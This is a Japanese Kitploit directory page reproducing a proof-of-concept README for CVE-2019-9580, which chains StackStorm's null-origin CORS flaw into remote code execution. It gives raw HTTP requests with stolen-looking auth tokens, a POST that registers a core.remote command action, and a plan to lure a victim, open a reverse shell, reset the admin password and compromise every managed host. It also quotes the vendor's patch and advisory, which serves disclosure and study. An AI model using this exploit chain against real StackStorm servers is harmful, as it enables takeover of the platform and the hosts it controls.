Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2019-9580 — CVE-2019-9580 - StackStorm: CORSの設定ミス(nullオリジン)を悪用してRCEを達成する | Kitploit
ツール/GitHubGitHub/mpgn/cve-2019-9580
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育レッドチーミング
GitHubmpgn/cve-2019-9580

CVE-2019-9580

CVE-2019-9580 - StackStorm: CORSの設定ミス(nullオリジン)を悪用してRCEを達成する

リポジトリを見る
3147年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2019-9580 - StackStormのCORS nullオリジン悪用によるRCE(2.9.3未満および2.10.3未満)

2.10.3/2.9.3より前のバージョンでは、リクエストのオリジンが不明な場合、nullを返していました。nullは一部のクライアントにおいて、未知のオリジンからのリクエストを成功させる可能性があります。これにより、StackStorm APIに対するXSSスタイルの攻撃が可能になります。

発見者: Barak Tawily および Anna Tsibulskaya

Peek 13-03-2019 17-16 (Firefoxユーザーが被害者、Chromeユーザーが攻撃者)

概念実証(PoC)

null CORSの悪用

Origin: nullというOriginヘッダーを含むリクエストをStackStorm APIに送信すると、サーバーはAccess-Control-Allow-Originをnullにして応答します。

root@kitploit:~
GET /api/v1/executions?action=packs.get_config&limit=5&exclude_attributes=trigger_instance&parent=null HTTP/1.1
Host: localhost:4443
Origin: 443
Referer: https://localhost:4443/
x-auth-token: a19e39b9dff24e4798ba04c7036d0275

サーバー応答:

root@kitploit:~
Access-Control-Allow-Origin: null <-- hug hug hug
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Allow-Headers: Content-Type,Authorization,X-Auth-Token,St2-Api-Key,X-Request-ID
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: Content-Type,X-Limit,X-Total-Count,X-Request-ID

null CORSの悪用については、PortSwiggerのブログ記事に記載されています。以下のペイロードが見つかっています:

root@kitploit:~

では、RCEはどうするのか?

StackStormではアクションを設定でき、core.remoteのようなアクションは任意のホストで任意のコマンドを実行します。

image

そこで、ホストを127.0.0.1に指定すると、StackStormのDocker上でコマンドが実行されます。アクションの登録には単純なPOSTリクエストを送信するだけなので、RCEは問題なく成功するはずです。

root@kitploit:~
POST /api/v1/executions HTTP/1.1
Host: localhost:4443
Origin: null
Content-Type: application/json
x-auth-token: a19e39b9dff24e4798ba04c7036d0275
Content-Length: 131

{"action":"core.remote","parameters":{"cmd":"touch /tmp/pwn2.txt","hosts":"127.0.0.1","cwd":"/tmp"},"context":{"trace_context":{}}}

次はどうするのか?

StackStormのホスト上でコマンドを実行できることは確認できましたが、さらにStackStormプラットフォーム全体を完全に制御しましょう。これは管理者のパスワードをリセットすることで実現できます。ドキュメントによると:

パスワードを変更する必要がありますか? 実行: sudo htpasswd /etc/st2/htpasswd st2admin。 https://docs.stackstorm.com/authentication.html

では、すべてをまとめましょう:

  1. 被害者に悪意のあるペイロードを含むリンクを送信します。このペイロードは、ホスト127.0.0.1上で任意のコマンドを実行する新しいアクションを登録します。
  2. 被害者がリンクをクリックし、ポニー(おとり)を表示します。
  3. リクエストにOrigin: nullヘッダーが含まれているとCORSがnullになるため、新しいアクションを登録するPOSTリクエストが成功します(パラメータcredentials: "include"も設定しています)。
  4. アクションがトリガーされ、コマンドが実行されます(リバースシェル)。
  5. 攻撃者は管理者のパスワードをリセットし、StackStormプラットフォームを完全に制御します。
  6. 攻撃者はStackStormに登録されている他のすべてのホストを破壊できます。

capture d'écran_1

セキュリティ勧告:

  • https://stackstorm.com/2019/03/08/stackstorm-2-9-3-2-10-3/
  • https://github.com/StackStorm/st2/pull/4577/commits/66605b7b202b8bd2db1ccd8c1ce7279028ac86d4
root@kitploit:~
From 66605b7b202b8bd2db1ccd8c1ce7279028ac86d4 Mon Sep 17 00:00:00 2001
From: bigmstone <[email protected]>
Date: Tue, 5 Mar 2019 12:22:26 -0600
Subject: [PATCH] Fix improper CORS return

Prior to this commit if you sent a request from an origin not listed in
`allowed_origins` we would respond with `null` for the
`Access-Control-Allow-Origin` header. Per
[https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin#Directives](mozilla's documentation)
null should not be used as some clients will allow the request to go
through. This commit returns the first of our allowed origins if the
requesting origin is not a supported origin.
---
 st2api/tests/unit/controllers/v1/test_base.py | 4 ++--
 st2common/st2common/middleware/cors.py        | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/st2api/tests/unit/controllers/v1/test_base.py b/st2api/tests/unit/controllers/v1/test_base.py
index 2a753f22ea..e66148a0a5 100644
--- a/st2api/tests/unit/controllers/v1/test_base.py
+++ b/st2api/tests/unit/controllers/v1/test_base.py
@@ -51,8 +51,8 @@ def test_wrong_origin(self):
             'origin': 'http://xss'
         })
         self.assertEqual(response.status_int, 200)
-        self.assertEqual(response.headers['Access-Control-Allow-Origin'],
-                         'null')
+        self.assertEqual(response.headers.get('Access-Control-Allow-Origin'),
+                        'http://127.0.0.1:3000')
 
     def test_wildcard_origin(self):
         try:
diff --git a/st2common/st2common/middleware/cors.py b/st2common/st2common/middleware/cors.py
index 5781b1a6e7..8cb407b52c 100644
--- a/st2common/st2common/middleware/cors.py
+++ b/st2common/st2common/middleware/cors.py
@@ -66,7 +66,7 @@ def custom_start_response(status, headers, exc_info=None):
                     origin_allowed = origin
                 else:
                     # See http://www.w3.org/TR/cors/#access-control-allow-origin-response-header
-                    origin_allowed = origin if origin in origins else 'null'
+                    origin_allowed = origin if origin in origins else list(origins)[0]
             else:
                 origin_allowed = list(origins)[0]

リソース:

  • https://stackstorm.com/2019/03/08/stackstorm-2-9-3-2-10-3/
  • https://quitten.github.io/StackStorm/
ツールをダウンロード